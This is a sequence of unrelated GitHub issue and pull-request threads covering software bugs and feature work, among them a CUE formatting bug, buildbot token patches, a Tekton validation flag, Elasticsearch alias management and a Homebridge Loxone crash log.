‘’’
[2023-02-07T22:52:59.164Z] <IP_ADDRESS> connected
[2023-02-07T22:52:59.166Z] <IP_ADDRESS> disconnected
‘’’

@nberardi The change described has been released in 0.5.0. Thanks!


Update MAGIC API

Changeset:

added new MAGIC parameter knn_max
updated MAGIC default parameters to match KrishnaswamyLab/MAGIC
added tests to check MAGIC implementation interacts with AnnData object correctly
increased required version of magic-impute to 2.0

Re: testing externals, I've tried my best to just test the way it interfaces with scanpy. i.e., if MAGIC silently fails to return the correct output, scanpy tests would pass so long as the output is the right type / shape. If MAGIC throws an error when run from scanpy, this might be something you would like to address (i.e. by contacting the relevant external developer) regardless.


Better describe the atlases, and link the description to the atlas name

We don't have any good descriptions of what the atlases are, other than a link to the original paper. We also don't clearly link the name of the atlas to the description, so it's not easy to know that the Enhanced and Unified Mouse Brain Atlas is kim_mouse.
We should create a page to better document these.

Added this here but should be expanded upon, and advertised.


Group Toggling Is Missing!

Is your feature request related to a problem? Please describe.
I use Grouping a lot, however it appears Macro-Deck can't see grouped sources as toggle items, however they are!
Describe the solution you'd like
Allow Group Toggling
Describe alternatives you've considered
I tried force variable change but it can't change obs variables.
Additional context
This feature is actually pretty critical and I'm beside myself after a few hours of testing this app out that it doesn't support it.
The depreciated Stream-Pi app even supports group toggling!

UPDATE:
I managed to fix this problem by editing the json for the button which thankfully is a nice option to have.
All I did was rename source to the name of the grouping, appears to have done the trick.
I'll close this for now, but it would be nice if it just automatically detected the groupings.


Installing fast-lmm on CentOS 7

Hi Carl,
we are trying to setup a flask App with fast-lmm on CentOS 7  but the installation fails.
Here is the error message:
https://github.com/snowformatics/gwas_web_production/issues/1
Do you have any idea what's going wrong?
Thanks a lot in advance
Stefanie

Hi,
yes it works like Carl described with a miniconda environment running as normal user under CentOS. I will describe my test setting in the issue mentioned above.
Best regards
H.

Great news, thanks to both of you!


cmd/cue: fmt -s removes quotes in keys when it shouldn't

What version of CUE are you using (cue version)?

$ cue version
cue version v0.9.0-rc.1

go version go1.22.1
      -buildmode exe
       -compiler gc
  DefaultGODEBUG httplaxcontentlength=1,httpmuxgo121=1,tls10server=1,tlsrsakex=1,tlsunsafeekm=1
     CGO_ENABLED 1
          GOARCH amd64
            GOOS linux
         GOAMD64 v1
cue.lang.version v0.9.0

Does this issue reproduce with the latest stable release?
no, but it's in the 0.9 RC
What did you do?
I have the following code:
key: a: "value"
other: "key": k: key["a"]

Running cue fmt -s removed the quotes from key and changed it to:
key: a: "value"
other: key: k: key["a"]

What did you expect to see?
No change from go fmt -s. Expected eval output:
key: {
    a: "value"
}
other: {
    key: {
        k: "value"
    }
}

What did you see instead?
After evaling it, the behaviour changed and broke the config:
$ cue eval -c repro.cue
other.key.k: undefined field: a:
    ./repro.cue:2:20

Workaround
There's a workaround:
key: a: "value"
let alias = key
other: key: k: alias["a"]

Tentatively marked as a release blocker for now until we can prove otherwise.


Adds a tooltip component

This is pretty freely configurable in terms of positioning. I'm implementing it here in the challenge nav bar. Users can hover each numeric challenge indicator to see the challenge number and name in the tooltip. This tip will also be used later in other elements. Design reference.
Check the preview
A later improvement to the tooltip could be to more precisely position the arrow when left/right/top/bottom aligning with the reference element.
Pull Request checklist
Please check if your PR fulfills the following requirements:

[ ] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been reviewed and added / updated if needed (for bug fixes / features)
[x] Build was run locally and any changes were pushed
[x] Lint has passed locally and any fixes were made for failures

Pull Request type

[ ] :bug: Bugfix
[x] :sparkles: Feature
[ ] :lipstick: :art: Code style update (formatting, renaming)
[ ] :recycle: Refactoring (no functional changes, no api changes)
[ ] :zap: Performance
[ ] :pencil: Documentation content changes
[ ] :wrench: Other (please describe):

@aureleoules thanks for the suggestion. A problem with opacity: 0 is that the element is still rendered even when not visible. Screen readers will pick it up, and it can be accessed via keyboard tabbing. This is not the case with visibility: hidden (which is what hidden does).
An ideal solution is that the element is not rendered at all when it's not visible, and also has fade in/out when appearing/disappearing. VueJS does this automatically with the transition tag, but I have not looked into how to do this in React. Was going to come back to this later at some point. Do you maybe know?

Ah I see. I haven't tested but maybe this could do it: https://reactcommunity.org/react-transition-group/transition.

Nice, this looks good.
Just a nit: I suggest removing the package-lock.json as there is already the yarn.lock file, which may be confusing.

I just implemented this using the CSSTransition component.
Gotta say, this code is super ugly. And I fully blame it on React and Tailwind for rejecting much of the elegance of CSS.


✨ Allow using regular expressions in string matching

Something like "/user/{user_id:/\w+/}/post/{post_id:/\w+/}"

So I think we have three options here:

Preserve the current behaviour and make clear in the language docs that this is a greedy pattern.
Do the opposite: make the pattern non-greedy and communicate that behaviour.
Do what is proposed here and allow user-defined regex.

There's another question here about do we allow no regex to be supplied? If so, which of the above behaviours do we fallback to?

I'm inclined not to go with the proposed (I know I told you to open the issue) but I'd like to hear everyone's thoughts first. @Alpvax @Trymunx what do you think?

I feel that if we're going with regex, we should just go with regex (and encourage the use of named capture groups), rather than some halfway template regex thing.
Either we add regex matching or we just have a modifier (probably ?) to indicate non-greedy. I personally like the regex approach, as it's more powerful, but I don't think we should have a weird combination.


Update jms

Needs merging this first https://github.com/mhujer/jms-serializer-uuid/pull/5

@simPod Thanks for the PR! I've updated the dependencies separately in #6 and I have created a new PR that adds JMS Serializer support #7 <- please continue the discussion there.


Can I highlight the code after changing it ?

The code that I want it to be highlighted is requested by Ajax many times to get updates versions of the code.
Can I highlight the code after updating the content of the  element with the new code ?

I tried
hljs.highlight('http', data).value
But it is not working for http !

Sure, you can do this. You can found example here: https://github.com/isagalaev/highlight.js/blob/master/tools/developer.html#L17


Pokemon with glitched time remaining

Some pokemon, on map, show 300+hours remaining and won't go away

Use the search, multiple issues exist describing this issue and fixes.

Found a solution here that seems to work.  https://github.com/mchristopher/PokemonGo-DesktopMap/issues/935


Support per installation tokens directly in GitHubStatusPush

This PR creates a patch for buildbot supporting a token argument being a function, which given a reports object, gives back which token to use. It caches this so it doesn't have to re-ask for it and call render on each request.
PR is a draft for now as it's build for buildbot 3, I first need to bump my instance and then rebase the patch, we should probably keep both patches for 3 and 4.

Yes. Stable NixOS has buildbot 3 and it's usually a painpoint to backport. However if our patches grow bigger over the summer, it might be better to vendor buildbot to reduce maintenance effort.

However if our patches grow bigger over the summer, it might be better to vendor buildbot to reduce maintenance effort.

And also the buildbot NixOS module. I noticed that reasoning becomes complicated with both level of modules. Since it's an opinionated distribution of buildbot, we don't need all that flexibility.

@mergify rebase

I made some change how the vendoring works:
The overlay will break if buildbot in unstable will change it's python
override in nixpkgs.
This will happen in the next release when sqlalchemy will be update.

Also I have at least three installations where I share nixpkgs instances
across multiple nixos configuration for performance reasons,
where I cannot use overlays defined in a NixOS module.

@Mic92 should I pull the commuts you made into #219 ?

@Mic92 should I pull the commits you made into #219 ?

I can just merge together with the actual feature.

^ will test this approach now. It will make the patch even simpler.

Huh, did not know that was a thing, good to know, how did you find that?

I knew about the IRenderable interface. Than I was just looking for a good candidate that implemented it.

Ah okay, that didnt occur to me, good catch

I hope the rendering isn't slow

I hope the rendering isn't slow

It's the same function in the end that also renders the githhub status name.

Depending on what solution buildbot accepts upstream, we can switch than our implementation around. But let's go with this.

@mergify queue


Error while cloning SimPhoNy when SSH keys are not configured

The instructions in https://simphony.readthedocs.io/en/latest/installation.html#osp-core-installation may fail for users who didn't configure SSH keys. Case in point: https://github.com/simphony/osp-core/issues/610

/cib


Allow mapping export

It would be convenient to allow the export of the mapping (connection between the drawIO rectangle and the column), so that it can be used automatically for new data. It would also be useful if this mapping could be imported to drawIO so that it can be used again.

We have to choose a language for the export of mapping. Maybe RML, so the exported data can be used more standardly. Otherwise we could use JSON format, but in this case, the file can be only used by this Ontopanel. This idea is good and is actually one of the development plans in the future.


consumeChar fix

Changed function for consumeChar(char min, char max) to ConsumeIntegralInRange from ConsumeIntegral.
Fixes #249

@katherine-hough Thanks! I ran the formatting script to fix the CI failure.

The CI failure on macOS is certainly unexpected and doesn't seem to have anything to do with this particular PR. I will investigate.


ValidateParamArrayIndex for taskSpec should check beta flag.

Expected Behavior
https://github.com/tektoncd/pipeline/blob/a0fb7849913c91911d897a4f4fba46f921e7bfdf/pkg/apis/pipeline/v1/task_validation.go#L611-L615
should check beta flag instead of alpha flag.
Thanks @dibyom for catching this bug.
Actual Behavior
taskSpec's ValidateParamArrayIndex checks alpha flag.
Additional Info
Array indexing (Tep 76) is promoted by https://github.com/tektoncd/pipeline/pull/6103, yet the feature flag check for taskSpec's ValidateParamArrayIndex is not updated. The resulting consequence is that the validation is skipped for taskSpec when this feature is used and the api feature flag is set to beta

Kubernetes version:
Output of kubectl version:

(paste your output here)

Tekton Pipeline version:

Version since v0.46

/assign

This is a bit more complicated; see https://github.com/tektoncd/pipeline/issues/6616 for more detail.
Here's what I think the logic should look like:

If a task uses indexing into array params, we should validate in the webhook that "enable-api-fields" is set to a value that permits using this feature
If we cannot validate in the webhook since the task is e.g. stored in git, we should validate in the reconciler that "enable-api-fields" is set to a value that permits using this feature before converting the task to v1beta1 (or honestly we could skip this validation)
if the task's array param indexes are out of bounds based on the params provided, we should validate this in the reconciler, separately from the value of "enable-api-fields"

If we cannot validate in the webhook since the task is e.g. stored in git, we should validate in the reconciler that "enable-api-fields" is set to a value that permits using this feature before converting the task to v1beta1 (or honestly we could skip this validation)

wouldn't skipping the validation result in referenced pipelines and in cluster pipelines being validated differently?


try bumping a minor version

:rocket: PR was released in<EMAIL_ADDRESS>:rocket:

:rocket: PR was released in<EMAIL_ADDRESS>:rocket:


Update setup.py

pip did a refactor and moved main to internal https://github.com/pypa/pip/issues/5240
Could we update the setup.py file so that we can mitigate errors with pip.main() not existing?

Absolutely, could you add compatibility code so that tests for earlier versions of Python will work?


replace: suffix is added into index, but there is no alias

Hi, I love this plugin.
I used replace:, but suffix is added into index:
I need to add alias after insertion is finished.
Can I use this feature or are we need to develop this feature?
Thanks,

@niwatolli3 Hi.

but suffix is added into index

Plugin doesn't add suffix to existing index. This index is just a newly created index.
This plugin works with following process when replace mode.

insert data into new index(will be newly created by plugin)
re assign alias from old index to new index
drop old index

There is a possibility that something failure(bad network connection, invalid data...) happens while 1.  At this time, plugin user will lost both of existing data and new data.
By processing 1-2-3, one of them will be kept in Elasticsearch.
So I think current logic is the best way to achieve replace mode.

Can I use this feature or are we need to develop this feature?

Is it not enough that you set alias name to index option?
out:
  type: elasticsearch
  mode: replace
  index: <alias name> # plugin generates index name like <index>_%Y%m%d-%H%M%S
  ...

https://github.com/muga/embulk-output-elasticsearch#replace

I'm not sure your requirement, you can create "alias of alias".
# Run embulk-output-elasticsearch with replace mode
$ embulk run /path/to/es.yml

# Check alias/index mapping
$ curl -XGET http://localhost:9200/_alias?pretty
{
  "embulk_20170606-181525" : {
    "aliases" : {
      "embulk" : { } # alias to `embulk_20170606-181525`
    }
  }
}

# Manually create alias to existing alias
$ curl -XPOST 'http://localhost:9200/_aliases' -d '
{
  "actions" : [
    { "add" : { "index" : "embulk", "alias" : "alias_of_alias" } }
  ]
}'

# Check alias/index mapping again
$ curl -XGET http://localhost:9200/_alias?pretty
{
  "embulk_20170606-181525" : {
    "aliases" : {
      "alias_of_alias" : { },
      "embulk" : { }
    }
  },
}

# Search
$ curl -XGET http://localhost:9200/alias_of_alias/_search?pretty
# result of index: embulk_20170606-181525 will be shown

Oh, I see. Thank you very much.


Homebridge crashes after a few seconds

Hello,
when i saw in the loxforum that there is a new homebridge plugin i tried it immediatly but got the following situation:
I think the plugin can connect correctly because for a short time of period i saw the two test devices in homebridge and also in home app, but then it crashes.
logs:
[28/10/2021, 20:59:42] [[39mRegistering platform 'homebridge-config-ui-x.config'
[28/10/2021, 20:59:43] ^[[39mLoaded plugin<EMAIL_ADDRESS>homebridge API version: 2.7
[28/10/2021, 20:59:43] [[39mRegistering platform 'homebridge-loxone-connect.LoxoneWs'
[28/10/2021, 20:59:43] [[39mLoading 2 platforms...
[28/10/2021, 20:59:43] [[39m^[[36m[Config]^[[39m Initializing config platform...
[28/10/2021, 20:59:43] [[39m^[[36m[Config]^[[39m Running in Service Mode
[28/10/2021, 20:59:43] [[39m^[[36m[LoxoneWs]^[[39m Initializing LoxoneWs platform...
[28/10/2021, 20:59:43] [[39m^[[36m[LoxoneWs]^[[39m Getting Loxone configuration.
[28/10/2021, 20:59:43] [[39m^[[36m[LoxoneWs]^[[39m Platform - Waiting 8 seconds until initial state is retrieved via WebSocket.
[28/10/2021, 20:59:43] [[39m^[[36m[LoxoneWs]^[[39m WS: connect
Websocket Connection closed:  1000 normally closed
[[37m[28/10/2021, 20:59:45] ^[[39m^[[36m[LoxoneWs]^[[39m WS: connect
Websocket Connection closed:  1000 normally closed
[28/10/2021, 20:59:47] ^[[39m^[[36m[LoxoneWs]^[[39m WS: connect
[28/10/2021, 20:59:51] ^[[39m^[[36m[LoxoneWs]^[[39m Platform - Retrieving initial config from http://<IP_ADDRESS>:80/data/LoxApp3.json
[28/10/2021, 20:59:51] ^[[39m^[[36m[LoxoneWs]^[[39m Platform - The widget 'Licht Arbeitszimmer' of type LightControllerV2 is an item not handled.
[28/10/2021, 20:59:51] ^[[39m^[[36m[LoxoneWs]^[[39m Platform - Accessory Found: Deckenlampe of Licht Arbeitszimmer
[28/10/2021, 20:59:51] ^[[39m^[[36m[LoxoneWs]^[[39m Platform - Accessory Found: Rolladen
[28/10/2021, 20:59:51] ^[[39m^[[36m[LoxoneWs]^[[39m Platform - The widget 'Luftfeuchte' of type InfoOnlyAnalog is an item not handled.
[28/10/2021, 20:59:51] ^[[39m^[[36m[LoxoneWs]^[[39m Platform - The widget 'Heizung-Kühlung' of type IRoomControllerV2 is an item not handled.
[28/10/2021, 20:59:51] ^[[39m^[[36m[LoxoneWs]^[[39m Platform - The widget 'Heating and Cooling of Heizung-Kühlung' of type IRCV2Daytimer is an item not handled.
[28/10/2021, 20:59:51] ^[[39m^[[36m[LoxoneWs]^[[39m Platform - The widget 'Stellantrieb Tree' of type InfoOnlyAnalog is an item not handled.
[28/10/2021, 20:59:51] ^[[39m^[[36m[LoxoneWs]^[[39m Platform - The widget 'Temperatur' of type InfoOnlyAnalog is an item not handled.
[28/10/2021, 20:59:51] ^[[39m^[[36m[LoxoneWs]^[[39m Platform - The widget 'Wecker' of type AlarmClock is an item not handled.
[28/10/2021, 20:59:51] ^[[39m^[[36m[LoxoneWs]^[[39m Platform - The widget 'geschlossen' of type InfoOnlyDigital is an item not handled.
[28/10/2021, 20:59:51] ^[[39m^[[36m[LoxoneWs]^[[39m Platform - The widget 'Internetverbindung' of type InfoOnlyDigital is an item not handled.
[28/10/2021, 20:59:51] ^[[39m^[[36m[LoxoneWs]^[[39m Platform - Total accessory count 2 across 0 rooms.
[28/10/2021, 20:59:51] ^[[39mInitializing platform accessory 'Deckenlampe of Licht Arbeitszimmer'...
[28/10/2021, 20:59:51] ^[[39mInitializing platform accessory 'Rolladen'...
Preparing Advertiser for 'Homebridge 32CD FF76' using bonjour-hap backend!
But then it starts to loop and crash.
[28/10/2021, 21:00:14] ^[[39m^[[36m[LoxoneWs]^[[39m WS: connection error, reconnecting...Error [ERR_STREAM_WRITE_AFTER_END]: write after end
Websocket Connection closed:  1006 Socket Error: undefined ERR_STREAM_WRITE_AFTER_END
[28/10/2021, 21:00:16] ^[[39m^[[36m[LoxoneWs]^[[39m WS: connect
WebSocket error:  Socket Error: undefined ERR_STREAM_WRITE_AFTER_END 1006
[28/10/2021, 21:00:16] ^[[39m^[[36m[LoxoneWs]^[[39m WS: connection error, reconnecting...Error [ERR_STREAM_WRITE_AFTER_END]: write after end
Websocket Connection closed:  1006 Socket Error: undefined ERR_STREAM_WRITE_AFTER_END
[28/10/2021, 21:00:16] ^[[39m^[[36m[LoxoneWs]^[[39m WS: connect
WebSocket error:  Socket Error: undefined ERR_STREAM_WRITE_AFTER_END 1006
[28/10/2021, 21:00:16] ^[[39m^[[36m[LoxoneWs]^[[39m WS: connection error, reconnecting...Error [ERR_STREAM_WRITE_AFTER_END]: write after end
Websocket Connection closed:  1006 Socket Error: undefined ERR_STREAM_WRITE_AFTER_END
[28/10/2021, 21:00:18] ^[[39m^[[31mTypeError: Cannot read property 'closeDescription' of undefined^[[39m
at Connection. (/usr/local/lib/node_modules/homebridge-loxone-connect/node_modules/node-lox-ws-api/lib/Connection.js:62:62)^[[39m
at WebSocketClient.emit (events.js:400:28)^[[39m
at WebSocketClient.failHandshake (/usr/local/lib/node_modules/homebridge-loxone-connect/node_modules/websocket/lib/WebSocketClient.js:339:10)^[[39m
at ClientRequest. (/usr/local/lib/node_modules/homebridge-loxone-connect/node_modules/websocket/lib/WebSocketClient.js:278:18)^[[39m
at ClientRequest.emit (events.js:400:28)^[[39m
at HTTPParser.parserOnIncomingClient [as onIncoming] (_http_client.js:647:27)^[[39m
at HTTPParser.parserOnHeadersComplete (_http_common.js:127:17)^[[39m
at Socket.socketOnData (_http_client.js:515:22)^[[39m
at Socket.emit (events.js:400:28)^[[39m
at addChunk (internal/streams/readable.js:293:12)^[[39m
[28/10/2021, 21:00:18] ^[[39mGot SIGTERM, shutting down Homebridge...
[28/10/2021, 21:00:23]^[[0m ^[[36m[HB Supervisor]^[[0m Homebridge Process Ended. Code: 143, Signal: null
After auto-restart the looping starts directly and loxone is blocking the IP.
Websocket Connection closed:  4003 Forbidden - IP <IP_ADDRESS> temporarily blocked, too many failed login attempts (31)
Has anyone an idea what the Problem could be?
thanks a lot
regards
Christian

Same issue I have. I have try new IP . New username and password nothing works.. it’s broke

I'm having the same issue.
running loxone firmware <IP_ADDRESS>

Can you test if the problem still occurs with the latest version of this plugin?

until know it works perfectly with the new Version.
lights and shades are tested.
Thank you very much I appreciate it.

Glad to hear that!


Using ldap-auth-backend with the new backend-system

Hey,
the new backend systems looks very cool and gets more and more support with every update of Backstage.
Is there any plan to migrate the plugin?
Cheers
Olli

Yes, sure, we scheduled to work on it. However, this plugin requires a not little effort to migrate.

Now the version v4.1.0 support the new backend system.


Code coverage

What does this PR do?
Add "--detailed-coverage" flag to "sf apex get test"
What issues does this PR fix or reference?
@W-16744604@

QA notes:
setup:
checked out the PR, yarn && yarn install then linked via sf plugins link --no-install
using a fresh dreamhouse scratch org
✅ can get codecov from a test run
✅ can get detailed coverage from a test run
✅ using --detailed-coverage without --code-coverage fails


🌱 Give binding and status controller files distinct names

Summary
This PR renames two files that appear with the same name in log entries, making it easier to tell them apart.
Related issue(s)
Fixes #

/lgtm

/approve